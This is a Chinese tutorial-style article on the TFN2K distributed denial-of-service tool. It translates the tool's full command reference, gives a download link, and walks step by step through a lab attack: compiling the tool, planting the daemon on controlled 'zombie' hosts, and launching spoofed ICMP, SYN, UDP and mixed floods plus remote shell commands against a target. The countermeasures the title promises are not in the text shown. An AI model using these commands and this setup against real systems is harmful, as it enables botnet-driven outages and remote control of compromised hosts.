tfn2k使用方法和对策
今年年初,一些黑客使用DDoS向Yahoo,eBay等著名站点发起攻击,并且使yahoo瘫痪。1999.10月ISS就预言DDoS将成为2000年最流行的攻击手法。国内近期也发生了许多DDoS事件。佳佳刚考完Toefl可以清闲几天,于是就整理一下几个著名工具的代码,汇报被大家。
这里佳佳主要介绍tfn2k,因为它最著名嘛!主要分为使用说明,攻击实例,程序分析,防范手段等几部分。
简介:
TFN被认为是当今功能最强性能最好的DoS攻击工具,几乎不可能被察觉。作者发布这个工具的出发点是什么呢?作者向你保证它不会伤害公司或个人。但是它会吓一吓那些不关心系统安全的人,因为现在精密的工具被不断改善,并且被私人持有,他们许多都是不可预测的。现在是每一个人都清醒的时候了,每一个人都应该意识到假如他不足够关心他的安全问题,最坏的情形就会发生。
因此这个程序被设计成大多数的操作系统可以编译,以表明现在的操作系统没有特别安全的,包括Windows,Solaris,Linux及其他各种unix.
特点描述:
TFN使用了分布式客户服务器功能,加密技术及其它类的功能,它能被用于控制任意数量的远程机器,以产生随机匿名的拒绝服务攻击和远程访问。
此版本的新特点包括:
1。功能性增加:
为分布式执行控制的远程单路命令执行
对软弱路由器的混合攻击
对有IP栈弱点的系统发动Targa3攻击
对许多unix系统和WinNT的兼容性。
2。匿名秘密的客户服务器通讯使用:
假的源地址
高级加密
单路通讯协议
通过随机IP协议发送消息
诱骗包
编译:
在编译之前,先要编辑src/makefile文件修改选项符合你的操作系统。建议你看一下src/config.h然后修改一些重要的缺省值。
一旦你开始编译,你会被提示输入一个8--32位的服务器密码。如果你使用REQUIRE_PASS类型编译,在使用客户端时你必须输入这个密码。
安装:
TFN服务器端被安装运行于主机,身份是root(或euid root)。
它将用自己的方式提交系统配置的改变,于是如果系统重启你也得重启。一旦服务器端被安装,你就可以把主机名加入你的列表了(当然你也可以联系单个的服务器端)。TFN的客户端可以运行在shell(root)和Windows命令行(管理员权限需要在NT上).
使用客户端:
客户端用于联系服务器端,可以改变服务器端的配置,衍生一个shell,控制攻击许多其它的机器。你可以tfn -f file从一个主机名文件读取主机名,也可以使用tfn -h hostname联系一个服务器端。
缺省的命令是通过杀死所有的子线程停止攻击。命令一般用-c .
请看下面的命令行描述。 选项-i需要给命令一个值,分析目标主机字符串,这个目标主机字符串缺省用分界符@。
当使用smurf flood时,只有第一个是被攻击主机,其余被用于直接广播。
ID 1 -反欺骗级:服务器产生的DoS攻击总是来源于虚假的源地址。通过这个命令,你可以控制IP地址的哪些部分是虚假的,哪些部分是真实的IP。
ID 2 -改变包尺寸:缺省的ICMP/8,smurf,udp攻击缺省使用最小包。你可以通过改变每个包的有效载荷的字节增加它的大小。
ID 3 - 绑定root shell:启动一个会话服务,然后你连接一个指定端口就可以得到一个root shell。
ID 4 - UDP flood 攻击:这个攻击是利用这样一个事实:每个udp包被送往一个关闭的端口,这样就会有一个ICMP不可到达的信息返回,增加了攻击的能力。
ID5 - SYN flood 攻击:这个攻击有规律的送虚假的连接请求。结果会是目标端口拒绝服务,添瞒TCP连接表,通过对不存在主机的TCP/RST响应增加攻击潜力。
ID 6 - ICMP响应(ping)攻击:这个攻击发送虚假地址的ping请求,目标主机会回送相同大小的响应包。
ID 7 - SMURF 攻击:用目标主机的地址发送ping请求以广播扩大,这样目标主机将得到回复一个多倍的回复。
ID 8 - MIX攻击:按照1:1:1的关系交替的发送udp,syn,icmp包,这样就可以对付路由器,其它包转发设备,NIDS,sniffers等。
ID 9 -TARGA3攻击
ID 10 - 远程命令执行:给予单路在服务器上执行大量远程命令的机会。更复杂的用法请看4.1节。
更多的选项请看命令行帮助。
使用tfn用于分布式任务
Using TFN for other distributed tasks
依照CERT的安全报告,新版本的DDOS工具包含一个最新流行的特点:软件的自我更新。
TFN也有这个功能,作者并没有显式的包含这个功能。在ID 10远程执行命令中给予用户在任意数量远程主机上以批处理的形式执行同样shell命令的能力。这同时也证明了一个问题:DDOS等类似的分布式网络工具不仅仅简单的用于拒绝服务,还可以做许多实际的事情。
使用方法:
usage: ./tfn
[-P protocol] Protocol for server communication. Can be ICMP, UDP or TCP.
Uses a random protocol as default
[-D n] Send out n bogus requests for each real one to decoy targets
[-S host/ip] Specify your source IP. Randomly spoofed by default, you need
to use your real IP if you are behind spoof-filtering routers
[-f hostlist] Filename containing a list of hosts with TFN servers to contact
[-h hostname] To contact only a single host running a TFN server
[-i target string] Contains options/targets separated by @, see below
[-p port] A TCP destination port can be specified for SYN floods
<-c command ID> 0 - Halt all current floods on server(s) immediately
1 - Change IP antispoof-level (evade rfc2267 filtering)
usage: -i 0 (fully spoofed) to -i 3 (/24 host bytes spoofed)
2 - Change Packet size, usage: -i
3 - Bind root shell to a port, usage: -i
4 - UDP flood, usage: -i victim@victim2@victim3@...
5 - TCP/SYN flood, usage: -i victim@... [-p destination port]
6 - ICMP/PING flood, usage: -i victim@...
7 - ICMP/SMURF flood, usage: -i victim@broadcast@broadcast2@...
8 - MIX flood (UDP/TCP/ICMP interchanged), usage: -i victim@...
9 - TARGA3 flood (IP stack penetration), usage: -i victim@...
10 - Blindly execute remote shell command, usage -i command
看到这里,你是不是有许多不明白,这上面只是佳佳把原作者(mixter)的使用说明大致翻译了一下,一些东西,象新特点呀,新增功能呀,知不知道无所谓啦!以后再看吧!
对对了,补充一点。下载地址:http://packetstorm.securify.com/groups/mixter/tfn.tgz
佳佳继续上一次的文章,这一次是攻击测试。
测试环境:
共有5台机器,佳佳是在五台redhat linux6.2上测试的。
192.168.111.1
192.168.111.2
192.168.111.3
192.168.111.55
192.168.111.88
测试目的:?????(感受一下yahoo怎么被攻击的)
简要介绍:
我们的测试目的是用192.168.111.55指挥192.168.111.1,192.168.111.2,192.168.111.3
三台机器对192.168.111.88发动攻击。(实际攻击中就不止三台了。)
因此我们的步骤如下:
0。黑客攻击时事先要控制192.168.111.1,192.168.111.2,192.168.111.3,192.168.111.55这四台机器。也就是我们俗称的“肉鸡”。
1。编译代码。
2。在192.168.111.1,192.168.111.2,192.168.111.3上安装td。
3。在192.168.111.55安装tfn。
4。由192.168.111.55指挥192.168.111.1,192.168.111.2,192.168.111.3
对192.168.111.88发动攻击。
5。攻击结束。
详细步骤:
0。黑客攻击时事先要控制192.168.111.1,192.168.111.2,192.168.111.3,192.168.111.55这四台机器。
这一步我就不说了,大家一定有办法。。。
1。编译代码。
假设在192.168.112.55上。。。
首先一定要有root权限
$su
#
解开文件:
#tar zxvf tfn2k.tgz
#cd tfn2k
如果你不是linux或者bsd请修改src下的Makefile文件。(有一网友问佳佳,solaris为什么不行。如果你修改了Makefile,把linux改成了solaris仍然不行,佳佳也不知道了,因为佳佳没有solaris的测试环境。)
#make
make过程中会让你输入一个密码,8--32位的。那就输入一个吧,将来tfn和td联系时需要这个密码。我输入的是:aaaabbbb
make完成你会发现,多了两个可执行文件:tfn,td
2。在192.168.111.1,192.168.111.2,192.168.111.3上安装td。
#ftp 192.168.111.1
ftp>bin
fpt>put td
ftp>by
ftp的具体步骤我就不说了,大家一定都知道。
同样方法:ftp 192.168.111.2
ftp 192.168.111.3
然后在分别在192.168.111.1,192.168.111.2,192.168.111.3上
#./td
注意一定要有root权限,否则无法运行。
3。在192.168.111.55安装tfn。
由于我们是在192.168.111.55上编译的,tfn就已经在了。
4。由192.168.111.55指挥192.168.111.1,192.168.111.2,192.168.111.3对192.168.111.88发动攻击。
好了,我们终于完成了准备工作,攻击可以开始了。。。
我现在在192.168.111.55的/tfn2k/目录下。。。
我们需要编辑一个文件列表。
#vi hosts.txt
文件第一行输入:192.168.111.1
文件第二行输入:192.168.111.2
文件第三行输入:192.168.111.3
这就是控制文件列表。
然后我们测试一下连接。
在192.168.111.55上。。。
下面的命令意思是:在hosts.txt文件中的机器上执行远程命令“mkdir jjgirl”,其中-c 10表示执行远程命令。执行完这个命令就会在那三台机器上都建立jjgirl目录。当然你可以随便执行其他的命令。
#./tfn -f hosts.txt -c 10 -i "mkdir jjgirl"
Protocol : random
Source IP : random
Client input : list
Command : execute remote command
Password verification: (这时我们输入密码:aaaabbbb)
Sending out packets: .
好了,完成。
然后我们在192.168.111.1上执行:
#find / -name jjgirl -print
好,找到了。说明我们连接成功。。。
下面开始正式攻击了。。。
你可以在192.168.111.1上:
#./ntop
运行ntop查看流量。
先来ICMP攻击
#./tfn -f hosts.txt -c 6 -i 192.168.111.88(十分钟,192.168.111.88就死机了)
重启,接着测试。。。
SYN/TCP攻击:
#./tfn -f hosts.txt -c 5 -i 192.168.111.88 -p 80
UDP攻击:
#./tfn -f hosts.txt -c 4 -i 192.168.111.88
ICMP/TCP/UDP轮流攻击:
#./tfn -f hosts.txt -c 8 -i 192.168.111.88
5。攻击结束
如果我们想停止攻击:
#./tfn -f host.txt -c 0
实际tfn还有许多攻击选项,大家可以再回头看我的第一篇文章,看一下-c后面的11个选项。
整个测试结束。由于我是在局域网测试速度比较快。实际对yahoo等攻击时至少有几十台机器吧。
先介绍一下DDoS攻击的原理: